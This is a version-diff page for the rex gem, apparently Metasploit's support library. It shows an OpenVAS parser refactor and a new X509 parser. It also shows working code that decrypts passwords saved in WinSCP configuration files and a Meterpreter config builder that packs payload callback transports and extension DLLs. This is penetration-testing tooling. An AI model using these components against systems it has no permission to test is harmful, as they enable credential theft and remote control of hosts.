rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -15,6 +15,12 @@ module Parser
15
15
  attrs = normalize_attrs(attrs)
16
16
  block = @block
17
17
  @state[:current_tag][name] = true
18
+
19
+ unless @text.nil?
20
+ @state[:text_backup] = @text
21
+ @text = nil
22
+ end
23
+
18
24
  case name
19
25
  when "host"
20
26
  @state[:has_text] = true
@@ -25,97 +31,90 @@ module Parser
25
31
  def end_element(name=nil)
26
32
  block = @block
27
33
  case name
28
- when "name"
29
- return if not in_tag("result")
30
- @state[:has_text] = true
31
- @state[:vuln_name] = @text.strip if @text
32
- @text = nil
33
- when "description"
34
+ when 'name'
35
+ if in_tag('result')
36
+ @state[:has_text] = true
37
+ @state[:vuln_name] = @text.strip if @text
38
+ end
39
+ when 'description'
34
40
  @state[:has_text] = true
35
41
  @state[:vuln_desc] = @text.strip if @text
36
- @text = nil
37
- when "bid"
38
- return if not in_tag("result")
39
- return if not in_tag("nvt")
40
- @state[:has_text] = true
41
- @state[:bid] = @text.strip if @text
42
- @text = nil
43
- when "cve"
44
- return if not in_tag("result")
45
- return if not in_tag("nvt")
46
- @state[:has_text] = true
47
- @state[:cves] = @text.strip if @text
48
- @text = nil
49
- when "risk_factor"
50
- return if not in_tag("result")
51
- return if not in_tag("nvt")
52
-
53
- #we do this to clean out the buffer so to speak
54
- #if we don't set text to nil now, the text will show up later
55
- @state[:has_text] = true
56
- @text = nil
57
- when "cvss_base"
58
- return if not in_tag("result")
59
- return if not in_tag("nvt")
60
- @state[:has_text] = true
61
- @text = nil
62
- when "subnet"
63
- @state[:has_text] = true
64
- @text = nil
65
- when "result"
66
- return if not in_tag("results")
67
- record_vuln
68
- when "threat"
69
- return if not in_tag("ports")
70
- return if not in_tag("port")
71
- @state[:has_text] = true
72
-
73
- if not @text.index('(')
74
- @state[:name] = nil
75
- @state[:port] = nil
76
- @state[:proto] = nil
77
- @text = nil
78
- return
42
+ when 'bid'
43
+ if in_tag('result') && in_tag('nvt')
44
+ @state[:has_text] = true
45
+ @state[:bid] = @text.strip if @text
79
46
  end
80
-
81
- @state[:name] = @text.split(' ')[0] if @text
82
- @state[:port] = @text.split('(')[1].split('/')[0] if @text
83
- @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0] if @text
84
-
85
- @text = nil
86
- when "host"
47
+ when 'cve'
48
+ if in_tag('result') && in_tag('nvt')
49
+ @state[:has_text] = true
50
+ @state[:cves] = @text.strip if @text
51
+ end
52
+ when 'risk_factor'
53
+ if in_tag('result') && in_tag('nvt')
54
+ #we do this to clean out the buffer so to speak
55
+ #if we don't set text to nil now, the text will show up later
56
+ @state[:has_text] = true
57
+ end
58
+ when 'cvss_base'
59
+ if in_tag('result') && in_tag('nvt')
60
+ @state[:has_text] = true
61
+ end
62
+ when 'subnet'
63
+ @state[:has_text] = true
64
+ when 'result'
65
+ record_vuln if in_tag('results')
66
+ when 'threat'
67
+ @state[:has_text] = true if in_tag('ports') && in_tag('port')
68
+ when 'host'
87
69
  if in_tag('result')
88
70
  @state[:has_text] = true
89
71
  @state[:host] = @text.strip if @text
90
- @text = nil
91
- elsif in_tag('ports')
92
- return if not in_tag('port')
72
+ elsif in_tag('ports') && in_tag('port')
93
73
  @state[:has_text] = true
94
74
  @state[:host] = @text.strip if @text
95
- @text = nil
96
75
  end
97
- when "port"
76
+ when 'port'
98
77
  if in_tag('result')
99
78
  @state[:has_text] = true
100
- if not @text.index('(')
79
+ if @text && @text.index('(')
80
+ @state[:proto] = @text.split('(')[1].split('/')[1].gsub(/\)/, '')
81
+ @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '')
82
+ elsif @text && @text.index('/')
83
+ @state[:proto] = @text.split('/')[1].strip
84
+ @state[:port] = @text.split('/')[0].strip
85
+ else
86
+ @state[:proto] = nil
87
+ @state[:port] = nil
88
+ end
89
+
90
+ if @state[:port] && @state[:port] == 'general'
101
91
  @state[:proto] = nil
102
92
  @state[:port] = nil
103
- @text = nil
104
- return
105
93
  end
106
- @state[:proto] = @text.split('(')[0].strip if @text
107
- @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') if @text
108
- @text = nil
109
94
  elsif in_tag('ports')
110
- record_service
95
+ if @text && @text.index('(')
96
+ @state[:name] = @text.split(' ')[0]
97
+ @state[:port] = @text.split('(')[1].split('/')[0]
98
+ @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0]
99
+ record_service unless @state[:name].nil?
100
+ elsif @text && @text.index('/')
101
+ @state[:port] = @text.split('/')[0]
102
+ @state[:proto] = @text.split('/')[1]
103
+ record_service unless @state[:port] == 'general'
104
+ end
111
105
  end
112
- when "name"
113
- return if not in_tag("result")
106
+ when 'name'
107
+ return if not in_tag('result')
114
108
  @state[:has_text] = true
115
- @text = nil
109
+ end
110
+
111
+ if @state[:text_backup]
112
+ @text = @state[:text_backup]
113
+ @state[:text_backup] = nil
116
114
  else
117
115
  @text = nil
118
116
  end
117
+
119
118
  @state[:current_tag].delete name
120
119
  end
121
120
 
@@ -153,8 +152,6 @@ module Parser
153
152
  end
154
153
 
155
154
  def record_service
156
- return if not @state[:name]
157
-
158
155
  service_info = {}
159
156
  service_info[:host] = @state[:host]
160
157
  service_info[:name] = @state[:name]
@@ -0,0 +1,108 @@
1
+ require 'rex/parser/ini'
2
+
3
+ module Rex
4
+ module Parser
5
+ module WinSCP
6
+ PWDALG_SIMPLE_MAGIC = 0xA3
7
+ PWDALG_SIMPLE_FLAG = 0xFF
8
+
9
+ def read_and_parse_ini(filename)
10
+ file = File.read(filename)
11
+ return if file.to_s.empty?
12
+ parse_ini(file)
13
+ end
14
+
15
+ def parse_protocol(fsprotocol)
16
+ return 'Unknown' if fsprotocol.nil?
17
+
18
+ case fsprotocol
19
+ when 5 then 'FTP'
20
+ when 0 then 'SSH'
21
+ else
22
+ 'Unknown'
23
+ end
24
+ end
25
+
26
+ def parse_ini(file)
27
+ results = []
28
+ raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
29
+
30
+ ini = Rex::Parser::Ini.from_s(file)
31
+
32
+ if ini['Configuration\\Security']
33
+ # if a Master Password is in use we give up
34
+ if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
35
+ raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
36
+ end
37
+ end
38
+
39
+ # Runs through each group in the ini file looking for all of the Sessions
40
+ ini.each_key do |group|
41
+ if group.include?('Sessions') && ini[group].has_key?('Password')
42
+ # Decrypt our password, and report on results
43
+ encrypted_password = ini[group]['Password']
44
+ user = ini[group]['UserName']
45
+ host = ini[group]['HostName']
46
+ sname = parse_protocol(ini[group]['FSProtocol'].to_i)
47
+ plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
48
+
49
+ results << {
50
+ hostname: host,
51
+ password: plaintext,
52
+ portnumber: ini[group]['PortNumber'] || 22,
53
+ username: user,
54
+ protocol: sname
55
+ }
56
+ end
57
+ end
58
+
59
+ results
60
+ end
61
+
62
+ # Decrypts the next character in the password sequence
63
+ def decrypt_next_char(pwd)
64
+ if pwd.nil? || pwd.length <= 0
65
+ return 0, pwd
66
+ end
67
+
68
+ # Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
69
+ a = pwd[0].hex << 4
70
+
71
+ # Takes the second char from the encrypted password
72
+ b = pwd[1].hex
73
+
74
+ # Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
75
+ result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
76
+
77
+ # Strips the first two chars off and returns our result
78
+ return result, pwd[2..-1]
79
+ end
80
+
81
+ def decrypt_password(pwd, key)
82
+ flag, pwd = decrypt_next_char(pwd)
83
+
84
+ if flag == PWDALG_SIMPLE_FLAG
85
+ _, pwd = decrypt_next_char(pwd)
86
+ length, pwd = decrypt_next_char(pwd)
87
+ else
88
+ length = flag
89
+ end
90
+
91
+ del, pwd = decrypt_next_char(pwd)
92
+ pwd = pwd[del*2..-1]
93
+
94
+ result = ""
95
+ length.times do
96
+ r, pwd = decrypt_next_char(pwd)
97
+ result << r.chr
98
+ end
99
+
100
+ if flag == PWDALG_SIMPLE_FLAG
101
+ result = result[key.length..-1]
102
+ end
103
+
104
+ result
105
+ end
106
+ end
107
+ end
108
+ end
@@ -0,0 +1,92 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'openssl'
4
+
5
+ module Rex
6
+ module Parser
7
+
8
+ ###
9
+ #
10
+ # This class parses the contents of a PEM-encoded X509 certificate file containing
11
+ # a private key, a public key, and any appended glue certificates.
12
+ #
13
+ ###
14
+ class X509Certificate
15
+
16
+ #
17
+ # Parse a certificate in unified PEM format that contains a private key and
18
+ # one or more certificates. The first certificate is the primary, while any
19
+ # additional certificates are treated as intermediary certificates. This emulates
20
+ # the behavior of web servers like nginx.
21
+ #
22
+ # @param [String] ssl_cert
23
+ # @return [String, String, Array]
24
+ def self.parse_pem(ssl_cert)
25
+ cert = nil
26
+ key = nil
27
+ chain = nil
28
+
29
+ certs = []
30
+ ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
31
+ if pem =~ /PRIVATE KEY/
32
+ key = OpenSSL::PKey::RSA.new(pem)
33
+ elsif pem =~ /CERTIFICATE/
34
+ certs << OpenSSL::X509::Certificate.new(pem)
35
+ end
36
+ end
37
+
38
+ cert = certs.shift
39
+ if certs.length > 0
40
+ chain = certs
41
+ end
42
+
43
+ [key, cert, chain]
44
+ end
45
+
46
+ #
47
+ # Parse a certificate in unified PEM format from a file
48
+ #
49
+ # @param [String] ssl_cert_file
50
+ # @return [String, String, Array]
51
+ def self.parse_pem_file(ssl_cert_file)
52
+ data = ''
53
+ ::File.open(ssl_cert_file, 'rb') do |fd|
54
+ data << fd.read(fd.stat.size)
55
+ end
56
+ parse_pem(data)
57
+ end
58
+
59
+ #
60
+ # Parse a certificate in unified PEM format and retrieve
61
+ # the SHA1 hash.
62
+ #
63
+ # @param [String] ssl_cert
64
+ # @return [String]
65
+ def self.get_cert_hash(ssl_cert)
66
+ hcert = parse_pem(ssl_cert)
67
+
68
+ unless hcert and hcert[0] and hcert[1]
69
+ raise ArgumentError, "Could not parse a private key and certificate"
70
+ end
71
+
72
+ Rex::Text.sha1_raw(hcert[1].to_der)
73
+ end
74
+
75
+ #
76
+ # Parse a file that contains a certificate in unified PEM
77
+ # format and retrieve the SHA1 hash.
78
+ #
79
+ # @param [String] ssl_cert_file
80
+ # @return [String]
81
+ def self.get_cert_file_hash(ssl_cert_file)
82
+ data = ''
83
+ ::File.open(ssl_cert_file, 'rb') do |fd|
84
+ data << fd.read(fd.stat.size)
85
+ end
86
+ get_cert_hash(data)
87
+ end
88
+
89
+ end
90
+
91
+ end
92
+ end
data/lib/rex/payloads.rb CHANGED
@@ -1,3 +1,2 @@
1
1
  # -*- coding: binary -*-
2
2
  require 'rex/payloads/win32'
3
- require 'rex/payloads/meterpreter'
@@ -0,0 +1,154 @@
1
+ # -*- coding: binary -*-
2
+ require 'msf/core/payload/uuid'
3
+ require 'msf/core/payload/windows'
4
+ require 'msf/core/reflective_dll_loader'
5
+ require 'rex/parser/x509_certificate'
6
+
7
+ class Rex::Payloads::Meterpreter::Config
8
+
9
+ include Msf::ReflectiveDLLLoader
10
+
11
+ URL_SIZE = 512
12
+ UA_SIZE = 256
13
+ PROXY_HOST_SIZE = 128
14
+ PROXY_USER_SIZE = 64
15
+ PROXY_PASS_SIZE = 64
16
+ CERT_HASH_SIZE = 20
17
+
18
+ def initialize(opts={})
19
+ @opts = opts
20
+ if opts[:ascii_str] == true
21
+ @to_str = self.method(:to_ascii)
22
+ else
23
+ @to_str = self.method(:to_wchar_t)
24
+ end
25
+ end
26
+
27
+ def to_b
28
+ config_block
29
+ end
30
+
31
+ private
32
+
33
+ def is_x86?
34
+ @opts[:arch] == ARCH_X86
35
+ end
36
+
37
+ def to_str(item, size)
38
+ @to_str.call(item, size)
39
+ end
40
+
41
+ def to_wchar_t(item, size)
42
+ to_ascii(item, size).unpack('C*').pack('v*')
43
+ end
44
+
45
+ def to_ascii(item, size)
46
+ item.to_s.ljust(size, "\x00")
47
+ end
48
+
49
+ def session_block(opts)
50
+ uuid = opts[:uuid].to_raw
51
+ exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
52
+
53
+ session_data = [
54
+ 0, # comms socket, patched in by the stager
55
+ exit_func, # exit function identifer
56
+ opts[:expiration], # Session expiry
57
+ uuid # the UUID
58
+ ]
59
+
60
+ session_data.pack('VVVA*')
61
+ end
62
+
63
+ def transport_block(opts)
64
+ # Build the URL from the given parameters, and pad it out to the
65
+ # correct size
66
+ lhost = opts[:lhost]
67
+ if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
68
+ lhost = "[#{lhost}]"
69
+ end
70
+
71
+ url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
72
+ url << "#{opts[:uri]}/" if opts[:uri]
73
+ url << "?#{opts[:scope_id]}" if opts[:scope_id]
74
+
75
+ # if the transport URI is for a HTTP payload we need to add a stack
76
+ # of other stuff
77
+ pack = 'A*VVV'
78
+ transport_data = [
79
+ to_str(url, URL_SIZE), # transport URL
80
+ opts[:comm_timeout], # communications timeout
81
+ opts[:retry_total], # retry total time
82
+ opts[:retry_wait] # retry wait time
83
+ ]
84
+
85
+ if url.start_with?('http')
86
+ proxy_host = ''
87
+ if opts[:proxy_host] && opts[:proxy_port]
88
+ prefix = 'http://'
89
+ prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
90
+ proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
91
+ end
92
+ proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
93
+ proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
94
+ proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
95
+ ua = to_str(opts[:ua] || '', UA_SIZE)
96
+
97
+ cert_hash = "\x00" * CERT_HASH_SIZE
98
+ cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
99
+
100
+ # add the HTTP specific stuff
101
+ transport_data << proxy_host # Proxy host name
102
+ transport_data << proxy_user # Proxy user name
103
+ transport_data << proxy_pass # Proxy password
104
+ transport_data << ua # HTTP user agent
105
+ transport_data << cert_hash # SSL cert hash for verification
106
+
107
+ # update the packing spec
108
+ pack << 'A*A*A*A*A*'
109
+ end
110
+
111
+ # return the packed transport information
112
+ transport_data.pack(pack)
113
+ end
114
+
115
+ def extension_block(ext_name, file_extension)
116
+ ext_name = ext_name.strip.downcase
117
+ ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
118
+ file_extension))
119
+
120
+ extension_data = [ ext.length, ext ].pack('VA*')
121
+ end
122
+
123
+ def config_block
124
+ # start with the session information
125
+ config = session_block(@opts)
126
+
127
+ # then load up the transport configurations
128
+ (@opts[:transports] || []).each do |t|
129
+ config << transport_block(t)
130
+ end
131
+
132
+ # terminate the transports with NULL (wchar)
133
+ config << "\x00\x00"
134
+
135
+ # configure the extensions - this will have to change when posix comes
136
+ # into play.
137
+ file_extension = 'x86.dll'
138
+ file_extension = 'x64.dll' unless is_x86?
139
+
140
+ (@opts[:extensions] || []).each do |e|
141
+ config << extension_block(e, file_extension)
142
+ end
143
+
144
+ # terminate the extensions with a 0 size
145
+ if is_x86?
146
+ config << [0].pack('V')
147
+ else
148
+ config << [0].pack('Q<')
149
+ end
150
+
151
+ # and we're done
152
+ config
153
+ end
154
+ end